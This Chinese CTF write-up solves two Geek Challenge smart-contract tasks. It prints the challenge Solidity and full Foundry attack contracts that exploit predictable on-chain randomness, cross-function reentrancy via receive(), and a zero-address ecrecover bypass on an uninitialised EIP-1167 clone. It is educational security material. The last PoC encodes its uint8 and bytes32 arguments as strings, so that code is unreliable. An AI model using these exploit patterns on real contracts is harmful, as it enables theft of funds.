极客大挑战wp

  • Q1ngying
  • 更新于 2024-11-21 21:47
  • 阅读 302

极客大挑战 Misc-区块链 wp(Mixture,guess_signature)

Mixture

这道题实际上是两道题,分别解完得到 flag 后紧密编码然后得到 sha256 哈希,套壳提交。

easy

一个十分简单的伪随机数利用(篇幅不大,完整源码直接放这了):

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

contract easy {
    mapping(address => bool) public flag;
    uint256 random;

    constructor(uint256 _random) {
        uint256 random = _random;
    }

    function only_Member_Know_Secret(uint256 number) public returns (bool) {
        uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
        return number == random + (uint256(uint160(msg.sender)) + random_middle);
    }

    function get_your_flag(uint256 number) public returns (bool) {
        require(only_Member_Know_Secret(number), "You cannot pass through here due to permission issues");
        flag[msg.sender] = true;
        return true;
    }

    function check(address addr) external view returns (bool) {
        return flag[addr];
    }
}

写一个攻击合约,按照其逻辑构造我们的输出。(这道题应该是出了点问题,在构造函数中 random发生了变量遮盖,状态变量 random没有成功赋值,按理来讲应该是要赋值的。我最开始想试试别的方法,直接区块链浏览器查构造函数参数,后来使用cast storage验证的时候发现竟然是0,意识到了发生了变量遮盖,而且后面那个合约犯了一样的毛病(?

contract Hack1 {
    // uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
    // return number == random + (uint256(uint160(msg.sender)) + random_middle);

    function getNumber() public view returns (uint256) {
        uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
        uint256 number = (uint256(uint160(address(this)))) + random_middle;
        return number;
    }

    function attack(address _target) public {
        easy target = easy(_target);
        target.get_your_flag(getNumber());
        require(target.check(address(this)), "easy Hack Failed.");
    }
}

hard

关于这个合约,最开始我认为是精度的问题,搞了半天发现,精度不会影响我们 ERC20 token 的数量。合约的逻辑也不是很多。后来我尝试传入超过我们余额的 amount,尝试 _burn来实现溢出,但是 openzeppelin 库这里是避免了溢出的。 问了下 gpt,gpt 说是重入(?)但是有重入锁,按理来讲不应该是重入(在这里我意识到了 receive) 实际上这道题的问题和重入漏洞的根本问题一样:状态变量的更新不及时。(跨函数重入) 主要问题在emergency_deal_with_your_token函数中(完整源码放在最后)

function emergency_deal_with_your_token(uint256 amount) public nonReentrant returns (bool) {
    this.transfer(msg.sender, 1 ether);
    require(this.balanceOf(msg.sender) >= amount, "No money");
    uint256 ten_percent = amount / 10;
    if (address(this).balance <= amount * rate_from_this_token_to_ETH * ten_percent) {
        payable(address(msg.sender)).call{value: payable(address(this)).balance}("");
    } else {
        payable(address(msg.sender)).call{value: amount * rate_from_this_token_to_ETH * ten_percent}("");
    }
    _burn(msg.sender, amount + 1 ether);
    return true;
}

问题在于:5-9 行实际上有一步外部调用(触发 msg.senderreceive 函数)。 当我们的 ERC20 balance >1 时即可获得 flag,所以:如果我们在攻击合约的 receive 函数中调用 get_your_flag 函数,由于此时系统给我们的 token 还没有被 burn,我们的 balance 是大于 1 的。 究其根本,漏洞的成因还是:状态变量的更新不及时导致的。 通过我们攻击合约的火焰图可以直观的看到这个过程:

image.png

在调用 emergency_deal_with_your_token 的过程中,首先协议给了我们 1 ether 的 token,然后合约计算,触发了 msg.senderreceive() 函数。此时接着执行 msg.sender:receive() 的逻辑。调用get_your_flag 完成题目。(因为此时没有 burn 系统给我们的 token)

contract Hack2 {
    setup target;

    constructor(address _target) {
        target = setup(_target);
    }

    function pwn() external {
        target.register();
        target.emergency_deal_with_your_token(0);
        require(target.check(address(this)), "contract2 Hack Failed");
    }

    receive() external payable {
        target.get_your_flag(address(this));
    }
}

PoC

完整 PoC:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.24;

import {Script, console2} from "forge-std/Script.sol";
import {easy} from "../src/1.sol";
import {setup} from "../src/2.sol";

contract Attack is Script {
    function run() external {
        address contract1 = 0xA6c32E00CA2E1F9dD6F376c2C4B6290F786A3582;
        address contract2 = 0x158018fB187206a7311b20c6b90057Fd54918ec2;

        vm.startBroadcast();

        Hack1 hack1 = new Hack1();
        hack1.attack(contract1);
        console2.log("Hack1 addr: ", address(hack1));

        Hack2 hack2 = new Hack2(contract2);
        hack2.pwn();
        console2.log("Hack2 addr: ", address(hack2));

        vm.stopBroadcast();
    }
}

contract Hack1 {
    // uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
    // return number == random + (uint256(uint160(msg.sender)) + random_middle);

    function getNumber() public view returns (uint256) {
        uint256 random_middle = uint256(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
        uint256 number = (uint256(uint160(address(this)))) + random_middle;
        return number;
    }

    function attack(address _target) public {
        easy target = easy(_target);
        target.get_your_flag(getNumber());
        require(target.check(address(this)), "easy Hack Failed.");
    }
}

contract Hack2 {
    setup target;

    constructor(address _target) {
        target = setup(_target);
    }

    function pwn() external {
        target.register();
        target.emergency_deal_with_your_token(0);
        require(target.check(address(this)), "contract2 Hack Failed");
    }

    receive() external payable {
        target.get_your_flag(address(this));
    }
}

guess_signature

看题目名称和 hint,感觉这道题应该是围绕签名 signature 来展开的,看了源码发现也用到了 EIP1167 最小代理合约。 源码:

// guesssignature.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

//address = 0x02C13DB057aA0162B705fd068aF04Fa75a6CC8E8

contract guesssignature {
    address public owner;
    mapping(address => bool) flag;

    constructor() {
        owner = msg.sender;
    }

    function verifySignature(string memory message, uint8 v, bytes32 r, bytes32 s) public {
        bytes32 messageHash = keccak256(abi.encodePacked(message));
        address recoveredAddress = ecrecover(messageHash, v, r, s);

        if (recoveredAddress == owner) {
            flag[msg.sender] = true;
        }
    }

    function check(address add) external view returns (bool) {
        return flag[add];
    }
}

// VaultFactory.sol
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/proxy/Clones.sol";
import "./guesssignature.sol";

//address = 0x9cB5b263528955041Bf5550912e7B8b1A7De97B5

contract VaultFactory {
    address public immutable guess;
    address proxy; // == 0x38eA0ecCB9AFfEeAE49B84524461143818Adf03e
    uint256 a = 0;
    bool target;

    constructor() {
        guess = address(new guesssignature());
    }

    //EIP1167最小代理合约
    function createVault() external returns (address d) {
        //只能部署一个最小代理合约,address = 0x38eA0ecCB9AFfEeAE49B84524461143818Adf03e

        require(a == 0, " ");
        a++;
        proxy = Clones.clone(guess);

        return proxy;
    }

    function checkproxy() external view returns (address) {
        return proxy;
    }

    function check(address addr) external view returns (bool) {
        require(proxy != address(0), "Proxy address not set");

        bytes memory payload = abi.encodeWithSignature("check(address)", addr);

        (bool success, bytes memory returnData) = proxy.staticcall(payload);
        require(success, "External call failed");

        require(returnData.length == 32, "Unexpected return data size");

        return abi.decode(returnData, (bool));
    }
}

guesssignature 合约是由 VaultFactory 合约在构造函数中创建的,所以 guesssignatureownerVaultFactory 合约的部署者相同,都是最开始的 EOA 账户(对于这道题来说,不重要) VaultFactory 使用 openzeppelin 安全库的最小代理合约,为 guesssignature 创建了代理合约。这道题交互的 check() 函数是 VaultFactory 合约,而不是 guesssignature 合约。换句话说,我们的攻击逻辑应该是针对代理合约,而不是 guesssignature 合约。

关于最小代理合约(EIP1167):

  • 代理合约的构造函数状态变量会被初始化为默认值
  • owner 将被初始化为address(0)

这是因为:代理合约只是复制了实现合约的 runtimeCode,不会执行构造函数。 所以现在的问题是:代理合约 owner == address(0),也就是说,我们现在只需让 ecrecover 还原出来的 owner 为零地址即可。

需要注意:ecrecover 在尝试还原签名时出现错误时,会静默失败,不会导致调用回滚,而是还原出来的地址为 0 地址。所以现在的问题就很简单了。我们只需随意构建一个签名(v 值需要为 27,这是以太坊的恢复标识符)

message: 任意字符串(因为我们只关心最终的签名验证) v: 27 r: 0x0000000000000000000000000000000000000000000000000000000000000000 s: 0x0000000000000000000000000000000000000000000000000000000000000000

Poc

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {VaultFactory} from "../src/VaultFactory.sol";

contract Attack is Script {
    function run() external {
        vm.startBroadcast();
        Hack hack = new Hack();
        hack.pwn();
        vm.stopBroadcast();
    }
}

contract Hack {
    function pwn() external {
        address proxy = 0x38eA0ecCB9AFfEeAE49B84524461143818Adf03e;
        (bool success,) = proxy.call(
            abi.encodeWithSignature(
                "verifySignature(string,uint8,bytes32,bytes32)",
                "",
                "27",
                "0x0000000000000000000000000000000000000000000000000000000000000000",
                "0x0000000000000000000000000000000000000000000000000000000000000000"
            )
        );
        require(success, "verifySignature call failed");
        require(VaultFactory(proxy).check(address(this)), "Hack Failed");
    }
}
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Q1ngying
Q1ngying
0x468F...68bf
本科在读,合约安全学习中......